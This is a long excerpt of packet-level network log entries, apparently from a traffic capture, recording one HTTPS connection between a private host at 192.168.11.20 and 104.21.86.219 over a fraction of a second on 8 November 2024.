                                                                                                                                          Nov 8, 2024 11:27:48.533902884 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.533942938 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.534035921 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.534667015 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.534713984 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.534818888 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.534818888 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.534837008 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.534853935 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.534862995 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.534862995 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.534985065 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.534985065 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.535851002 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.535885096 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.536082983 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.536083937 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.536112070 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.536130905 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.536348104 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.536815882 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.536853075 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.536993027 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.537117004 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.537130117 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.537264109 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.538095951 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.538132906 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.538279057 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.538280010 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.538306952 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.538322926 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.538372993 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.538474083 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.539326906 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.539365053 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.539485931 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.539485931 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.539534092 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.539534092 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.539551973 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.539580107 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.539694071 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.540035009 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.540071011 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.540188074 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.540232897 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.540232897 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.540251017 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.540281057 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.540282011 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.540396929 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.541213036 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.541251898 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.541374922 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.541451931 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.541451931 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.541476011 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.541657925 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.542529106 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.542563915 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.542788029 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.542838097 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.542939901 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.542952061 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.543005943 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.543098927 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.543749094 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.543793917 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.543972015 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.543972015 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.544018030 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.544043064 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.544209003 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.544481039 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.544523954 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.544826031 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.544882059 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.545063972 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.545388937 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.545402050 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.545564890 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.545564890 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.545581102 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.545581102 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.545588017 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.545670986 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.545764923 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.546422958 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.546435118 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.546611071 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.546611071 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.546631098 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.546638012 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.546709061 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.546750069 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.546812057 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.547336102 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.547348976 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.547597885 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.547727108 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.547738075 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.547965050 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.548366070 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.548378944 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.548531055 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.548531055 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.548561096 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.548561096 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.548568010 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.548641920 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.548754930 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.549199104 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.549206972 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.549393892 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.549494982 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.549504042 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.549674988 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.550244093 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.550251961 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.550436020 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.550544977 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.550545931 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.550554991 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.550789118 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.551501989 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.551511049 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.551664114 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.551712990 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.551713943 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.551723957 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.551764965 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.551806927 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.551886082 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.552792072 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.552802086 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.553010941 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.553015947 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.553066969 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.553066969 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.553175926 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.553401947 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.553415060 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.553587914 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.553587914 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.553594112 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.553700924 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.553803921 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.554269075 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.554277897 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.554445982 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.554445982 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.554490089 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.554492950 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.554546118 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.554594994 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.554692030 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.556350946 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.556385994 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.556516886 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.556632042 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.556632042 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.556636095 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.556787968 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.556838989 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.556848049 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.557121038 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.557169914 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.557219028 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.557223082 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.557281971 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.557281971 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.557483912 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.557543993 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.557554007 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.557720900 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.557720900 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.557770014 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.557773113 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.557794094 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.557842016 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.557938099 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.558543921 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.558552980 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.558710098 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.558756113 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.558756113 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.558758974 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.558804989 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.558904886 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.559978962 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.559988022 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.560204029 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.560204029 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.560209036 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.560360909 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.560914993 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.560923100 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.561049938 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.561049938 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.561098099 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.561100006 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.561145067 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.561193943 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.561243057 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.561966896 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.561975002 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.562099934 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.562099934 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.562149048 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.562150955 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.562197924 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.562247038 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.562345028 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.563174963 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.563183069 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.563311100 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.563311100 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.563359022 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.563360929 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.563410997 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.563410997 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.563508987 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.564182997 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.564193010 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.564322948 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.564372063 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.564372063 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.564374924 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.564424038 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.564424038 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.564599037 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.565232038 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.565242052 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.565404892 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.565453053 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.565453053 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.565455914 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.565502882 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.565623045 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.566349030 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.566356897 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.566493988 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.566493988 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.566543102 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.566545010 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.566595078 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.566643953 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.566782951 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.567147970 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.567157030 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.567290068 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.567290068 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.567336082 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.567337990 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.567389965 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.567486048 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.567549944 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.568120956 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.568129063 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.568304062 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.568304062 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.568308115 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.568352938 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.568352938 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.568470001 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.569439888 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.569448948 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.569613934 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.569613934 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.569617033 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.569665909 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.569711924 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.569761038 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.570396900 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.570408106 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.570565939 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.570611954 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.570611954 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.570615053 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.570663929 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.570761919 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.571235895 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.571244955 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.571336985 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.571372032 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.571372032 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.571424007 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.571424007 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.571427107 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.571466923 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.571516037 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.572201967 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.572212934 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.572356939 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.572356939 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.572360992 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.572406054 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.572454929 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.572454929 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.572504044 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.573757887 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.573766947 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:48.573879004 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.573879004 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:48.573882103 CET44349729104.21.86.219192.168.11.20
